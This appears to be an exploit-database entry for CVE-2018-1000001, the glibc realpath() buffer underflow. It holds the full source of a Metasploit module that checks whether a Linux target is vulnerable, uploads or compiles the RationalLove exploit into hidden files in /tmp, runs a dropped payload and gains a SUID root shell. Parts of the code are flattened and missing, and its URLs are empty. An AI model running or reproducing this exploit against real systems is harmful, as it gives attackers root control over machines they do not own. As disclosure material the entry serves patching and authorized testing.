glibc realpath() Privilege Escalation

Credit: halfdog
Risk: Medium
Local: No
Remote: No
CWE: CWE-264

CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: # Current source: ## class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => "glibc 'realpath()' Privilege Escalation", 'Description' => %q{ This module attempts to gain root privileges on Linux systems by abusing a vulnerability in GNU C Library (glibc) version 2.26 and prior. This module uses halfdog's RationalLove exploit to exploit a buffer underflow in glibc realpath() and create a SUID root shell. The exploit has offsets for glibc versions 2.23-0ubuntu9 and 2.24-11+deb9u1. The target system must have unprivileged user namespaces enabled. This module has been tested successfully on Ubuntu Linux 16.04.3 (x86_64) with glibc version 2.23-0ubuntu9; and Debian 9.0 (x86_64) with glibc version 2.24-11+deb9u1. }, 'License' => MSF_LICENSE, 'Author' => [ 'halfdog', # Discovery and RationalLove.c exploit 'Brendan Coles' # Metasploit ], 'DisclosureDate' => 'Jan 16 2018', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'Privileged' => true, 'References' => [ [ 'AKA', 'RationalLove.c' ], [ 'BID', '102525' ], [ 'CVE', '2018-1000001' ], [ 'EDB', '43775' ], [ 'URL', '' ], [ 'URL', '' ], [ 'URL', '' ], [ 'URL', '' ], [ 'URL', '' ], [ 'URL', '' ] ], 'DefaultTarget' => 0)) register_options ['COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),'WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), ] end def base_dir datastore['WritableDir'].to_s end def upload(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." write_file path, data register_file_for_cleanup path end def upload_and_chmodx(path, data) upload path, data cmd_exec "chmod +x '#{path}'" end def upload_and_compile(path, data) upload "#{path}.c", data gcc_cmd = "gcc -w -o #{path} #{path}.c" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd unless output.blank? print_error output fail_with Failure::Unknown, "#{path}.c failed to compile" end register_file_for_cleanup path cmd_exec "chmod +x #{path}" end def exploit_data(file) path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2018-1000001', file fd = path, 'rb' data = fd.stat.size fd.close data end def live_compile? return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True') if has_gcc? vprint_good 'gcc is installed' return true end unless datastore['COMPILE'].eql? 'Auto' fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.' end end def check version = kernel_release if'-').first) <'2.6.36') vprint_error "Linux kernel version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "Linux kernel version #{version} is vulnerable" arch = kernel_hardware unless arch.include? 'x86_64' vprint_error "System architecture #{arch} is not supported" return CheckCode::Safe end vprint_good "System architecture #{arch} is supported" unless userns_enabled? vprint_error 'Unprivileged user namespaces are not permitted' return CheckCode::Safe end vprint_good 'Unprivileged user namespaces are permitted' version = glibc_version if'-').first) >'2.26') vprint_error "GNU C Library version #{version} is not vulnerable" return CheckCode::Safe end vprint_good "GNU C Library version #{version} is vulnerable" # fuzzy match glibc 2.23-0ubuntu9 and 2.24-11+deb9u1 glibc_banner = cmd_exec('ldd --version') unless glibc_banner.include?('2.23-0ubuntu') || glibc_banner.include?('2.24-11+deb9') vprint_error 'No offsets for this version of GNU C Library' return CheckCode::Safe end CheckCode::Appears end def exploit if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true' fail_with Failure::BadConfig, "#{base_dir} is not writable" end # Upload exploit executable executable_name = ".#{rand_text_alphanumeric rand(5..10)}" @executable_path = "#{base_dir}/#{executable_name}" if live_compile? vprint_status 'Live compiling exploit on system...' upload_and_compile @executable_path, exploit_data('RationalLove.c') else vprint_status 'Dropping pre-compiled exploit on system...' upload_and_chmodx @executable_path, exploit_data('RationalLove') end # Upload payload executable payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}" upload_and_chmodx payload_path, generate_payload_exe # Launch exploit print_status 'Launching exploit...' output = cmd_exec "echo '#{payload_path} & exit' | #{@executable_path}", nil, 30 output.each_line { |line| vprint_status line.chomp } end def on_new_session(client) # remove root owned SUID executable if client.type.eql? 'meterpreter' client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi' client.fs.file.rm @executable_path else client.shell_command_token "rm #{@executable_path}" end end end

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